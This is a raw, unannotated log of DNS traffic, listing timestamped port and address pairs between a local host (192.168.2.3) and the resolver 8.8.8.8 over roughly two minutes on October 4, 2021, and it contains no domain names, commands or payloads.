Oct 4, 2021 16:02:58.486376047 CEST	53	64216	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:58.850028992 CEST	57313	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:58.867860079 CEST	53	57313	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:59.221406937 CEST	63113	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:59.239927053 CEST	53	63113	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:59.604931116 CEST	57159	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:59.622909069 CEST	53	57159	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:00.066725016 CEST	50317	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:00.085401058 CEST	53	50317	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:00.545147896 CEST	62940	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:00.566046000 CEST	53	62940	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:00.981645107 CEST	59546	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:00.999483109 CEST	53	59546	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:01.420058012 CEST	61043	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:01.443316936 CEST	53	61043	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:01.875488043 CEST	51463	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:01.893367052 CEST	53	51463	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:02.203031063 CEST	61385	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:02.226671934 CEST	53	61385	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:02.716557980 CEST	64189	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:02.734325886 CEST	53	64189	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:03.257615089 CEST	51349	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:03.275485992 CEST	53	51349	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:03.534897089 CEST	50358	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:03.554337025 CEST	53	50358	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:04.180802107 CEST	49304	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:04.199176073 CEST	53	49304	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:04.355552912 CEST	54346	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:04.373367071 CEST	53	54346	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:05.147660017 CEST	64942	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:05.163412094 CEST	53	64942	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:05.337827921 CEST	61331	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:05.356007099 CEST	53	61331	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:06.025770903 CEST	61942	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:06.044681072 CEST	53	61942	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:06.139866114 CEST	61187	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:06.157752037 CEST	53	61187	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:06.378160000 CEST	56511	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:06.395972013 CEST	53	56511	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:06.859416008 CEST	65118	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:06.880120039 CEST	53	65118	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:06.906454086 CEST	58596	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:06.922502995 CEST	53	58596	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:07.733405113 CEST	58520	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:07.751281023 CEST	53	58520	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:07.785753012 CEST	56015	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:07.805574894 CEST	53	56015	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:08.543193102 CEST	50249	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:08.564277887 CEST	53	50249	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:08.661338091 CEST	54204	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:08.679817915 CEST	53	54204	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:09.372692108 CEST	49799	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:09.391308069 CEST	53	49799	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:09.450450897 CEST	55705	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:09.469573975 CEST	53	55705	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:10.269886971 CEST	54300	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:10.270028114 CEST	54773	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:10.286662102 CEST	53	54773	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:10.290230989 CEST	53	54300	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:11.124166012 CEST	57061	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:11.136980057 CEST	63486	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:11.142357111 CEST	53	57061	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:11.154334068 CEST	53	63486	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:11.893225908 CEST	52816	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:11.912121058 CEST	53	52816	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:11.939855099 CEST	49181	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:11.958578110 CEST	53	49181	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:12.693273067 CEST	59003	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:12.711294889 CEST	53	59003	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:12.793119907 CEST	54362	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:12.810087919 CEST	53	54362	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:13.450779915 CEST	62434	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:13.466949940 CEST	53	62434	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:13.669861078 CEST	58229	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:13.687684059 CEST	53	58229	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:14.210236073 CEST	51846	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:14.229187012 CEST	53	51846	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:15.455144882 CEST	54135	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:15.510735035 CEST	57952	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:15.529422045 CEST	53	57952	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:17.389204979 CEST	54135	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:17.423656940 CEST	53	54135	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:17.489531994 CEST	53	54135	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:17.694911957 CEST	55539	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:17.713193893 CEST	53	55539	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:17.895476103 CEST	61939	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:18.288501024 CEST	53	61939	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:18.724430084 CEST	53519	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:18.870755911 CEST	53	53519	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:19.338916063 CEST	55360	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:19.370065928 CEST	53	55360	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:19.869942904 CEST	54690	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:20.025403976 CEST	53	54690	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:20.479370117 CEST	62115	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:20.497392893 CEST	53	62115	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:21.213754892 CEST	56324	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:21.240205050 CEST	53	56324	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:21.842428923 CEST	55545	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:21.866552114 CEST	53	55545	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:22.937541008 CEST	55953	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:23.105124950 CEST	53	55953	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:23.234111071 CEST	57004	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:23.252643108 CEST	53	57004	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:23.790708065 CEST	53079	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:23.814260006 CEST	53	53079	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:24.302496910 CEST	60899	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:24.682441950 CEST	53	60899	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:24.865840912 CEST	55417	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:24.999835014 CEST	53	55417	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:25.272614956 CEST	50120	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:25.292287111 CEST	53	50120	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:25.604453087 CEST	56304	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:25.634530067 CEST	53	56304	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:25.855345011 CEST	50329	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:25.875725985 CEST	53	50329	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:26.240060091 CEST	57293	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:26.270246983 CEST	53	57293	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:26.411247969 CEST	55158	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:26.445277929 CEST	53	55158	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:26.448813915 CEST	65153	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:26.626862049 CEST	53	65153	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:26.947292089 CEST	64858	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:27.321540117 CEST	53	64858	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:27.397418976 CEST	64096	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:27.550558090 CEST	53	64096	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:28.181535006 CEST	54527	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:28.204247952 CEST	53	54527	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:28.438282013 CEST	56183	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:28.543658972 CEST	53	56183	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:28.921387911 CEST	63996	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:29.166728020 CEST	53	63996	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:29.224791050 CEST	64315	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:29.379550934 CEST	53	64315	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:29.729206085 CEST	50010	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:29.748135090 CEST	53	50010	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:29.753537893 CEST	51636	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:29.775177002 CEST	53	51636	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:30.009874105 CEST	58515	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:30.030250072 CEST	53	58515	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:30.603427887 CEST	54287	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:30.623326063 CEST	53	54287	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:30.627358913 CEST	50573	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:30.647357941 CEST	53	50573	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:31.004956961 CEST	53803	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:31.140480042 CEST	53	53803	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:31.502818108 CEST	62989	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:31.520440102 CEST	53	62989	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:31.526377916 CEST	54360	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:31.543189049 CEST	53	54360	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:31.763426065 CEST	56215	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:31.793298006 CEST	53	56215	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:32.412625074 CEST	60438	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:32.431832075 CEST	53	60438	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:32.432877064 CEST	54677	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:32.437840939 CEST	54212	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:32.457391024 CEST	53	54212	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:32.469456911 CEST	53	54677	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:33.100756884 CEST	54032	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:33.347239971 CEST	54795	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:33.366040945 CEST	53	54795	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:33.371409893 CEST	60207	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:33.391906977 CEST	53	60207	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:33.489960909 CEST	53	54032	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:34.156574011 CEST	50581	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:34.175296068 CEST	53	50581	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:34.184824944 CEST	53274	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:34.203233957 CEST	53	53274	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:34.615624905 CEST	62494	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:34.635557890 CEST	53	62494	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:35.058803082 CEST	60198	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:35.076076984 CEST	52448	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:35.077126026 CEST	53	60198	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:35.094964981 CEST	53	52448	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:35.101042032 CEST	55131	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:35.119539022 CEST	53	55131	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:35.753171921 CEST	58077	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:35.772871017 CEST	53	58077	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:35.778426886 CEST	52024	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:35.796354055 CEST	53	52024	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:35.948941946 CEST	54593	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:35.968518019 CEST	53	54593	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:35.973539114 CEST	64926	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:35.992433071 CEST	53	64926	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:36.696830988 CEST	54874	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:36.715266943 CEST	53	54874	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:36.726880074 CEST	61539	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:36.745234013 CEST	53	61539	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:36.750840902 CEST	50518	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:36.768912077 CEST	53	50518	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:36.774780989 CEST	53166	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:36.791863918 CEST	53	53166	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:37.647303104 CEST	50916	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:37.665600061 CEST	53	50916	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:37.671214104 CEST	53575	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:37.690924883 CEST	53	53575	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:37.990569115 CEST	61556	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:38.009800911 CEST	53	61556	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:38.440748930 CEST	64542	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:38.461568117 CEST	53	64542	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:38.468713045 CEST	64506	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:38.489701033 CEST	53	64506	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:39.447895050 CEST	53419	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:39.465722084 CEST	53	53419	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:39.471312046 CEST	56004	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:39.490340948 CEST	53	56004	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:40.245841980 CEST	55890	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:40.264821053 CEST	53	55890	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:40.270278931 CEST	53494	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:40.286370993 CEST	53	53494	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:41.159689903 CEST	62950	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:41.177839041 CEST	53	62950	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:41.183238983 CEST	53765	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:41.201231003 CEST	53	53765	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:42.104850054 CEST	61639	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:42.123214006 CEST	53	61639	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:42.130796909 CEST	63949	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:42.148648977 CEST	53	63949	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:42.343103886 CEST	60075	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:42.361406088 CEST	53	60075	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:42.996077061 CEST	51775	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:43.014801025 CEST	53	51775	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:43.020767927 CEST	59707	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:43.038670063 CEST	53	59707	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:43.369364977 CEST	62504	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:43.389266968 CEST	53	62504	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:44.298472881 CEST	55119	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:44.317348003 CEST	53	55119	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:45.187581062 CEST	65287	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:45.206720114 CEST	53	65287	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:45.971384048 CEST	59040	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:45.988532066 CEST	53	59040	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:46.950608015 CEST	56258	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:46.966387033 CEST	53	56258	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:47.809072971 CEST	57410	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:47.825175047 CEST	53	57410	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:48.799498081 CEST	55595	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:48.817696095 CEST	53	55595	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:49.403592110 CEST	56811	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:49.421897888 CEST	53	56811	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:49.426347971 CEST	54776	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:49.450675011 CEST	53	54776	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:51.551198006 CEST	55770	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:51.556838989 CEST	50660	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:51.569209099 CEST	53	55770	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:51.574561119 CEST	53	50660	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:51.579977989 CEST	53479	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:51.597894907 CEST	53	53479	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:52.368519068 CEST	58009	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:52.386316061 CEST	53	58009	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:52.392251968 CEST	52018	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:52.411344051 CEST	53	52018	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:52.488945007 CEST	65285	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:52.505574942 CEST	53	65285	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:53.251637936 CEST	55934	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:53.267848015 CEST	53	55934	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:53.274490118 CEST	64937	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:53.292638063 CEST	53	64937	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:53.400383949 CEST	63042	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:53.416915894 CEST	53	63042	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:54.163156986 CEST	56795	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:54.183145046 CEST	53	56795	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:54.188303947 CEST	49282	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:54.206279039 CEST	53	49282	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:54.330427885 CEST	57877	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:54.348504066 CEST	53	57877	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:55.048142910 CEST	51550	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:55.064639091 CEST	53	51550	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:55.070519924 CEST	60526	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:55.090537071 CEST	53	60526	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:55.136583090 CEST	52151	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:55.154897928 CEST	53	52151	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:55.877393007 CEST	53415	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:55.893838882 CEST	53	53415	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:55.898246050 CEST	55442	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:55.915210962 CEST	53	55442	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:56.038435936 CEST	52324	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:56.057661057 CEST	53	52324	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:56.918205023 CEST	55140	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:56.923293114 CEST	57698	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:56.936739922 CEST	53	55140	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:56.941557884 CEST	53	57698	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:56.945597887 CEST	49224	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:56.963423014 CEST	53	49224	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:57.810072899 CEST	65299	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:57.817905903 CEST	58638	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:57.826384068 CEST	53	65299	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:57.834203959 CEST	53	58638	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:57.839199066 CEST	51274	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:57.854995012 CEST	53	51274	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:58.597063065 CEST	63390	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:58.614584923 CEST	53	63390	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:58.818078041 CEST	55293	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:58.837140083 CEST	53	55293	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:58.842144012 CEST	58321	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:58.859942913 CEST	53	58321	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:59.441752911 CEST	61169	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:59.461350918 CEST	53	61169	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:59.656775951 CEST	51196	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:59.675286055 CEST	53	51196	8.8.8.8	192.168.2.3
Oct 4, 2021 16:03:59.679713964 CEST	59362	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:03:59.698195934 CEST	53	59362	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:00.270576954 CEST	51823	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:00.289268017 CEST	53	51823	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:00.576469898 CEST	63712	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:00.592839956 CEST	53	63712	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:00.597968102 CEST	59764	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:00.615051985 CEST	53	59764	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:01.189821959 CEST	53764	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:01.205570936 CEST	53	53764	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:01.359738111 CEST	61763	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:01.377588987 CEST	53	61763	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:01.384588003 CEST	64740	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:01.402446985 CEST	53	64740	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:01.990559101 CEST	56416	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:02.009243011 CEST	53	56416	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:02.259001970 CEST	56376	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:02.277010918 CEST	53	56376	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:02.284574986 CEST	54468	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:02.303245068 CEST	53	54468	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:02.928951979 CEST	54373	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:02.947508097 CEST	53	54373	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:03.183706045 CEST	54401	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:03.201834917 CEST	53	54401	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:03.208477020 CEST	53504	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:03.224719048 CEST	53	53504	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:04.029144049 CEST	49399	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:04.035763979 CEST	49308	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:04.048830032 CEST	53	49399	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:04.058139086 CEST	53	49308	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:04.062900066 CEST	55451	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:04.081125975 CEST	53	55451	8.8.8.8	192.168.2.3
Oct 4, 2021 16:04:04.824037075 CEST	61292	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:04:04.842437029 CEST	53	61292	8.8.8.8	192.168.2.3
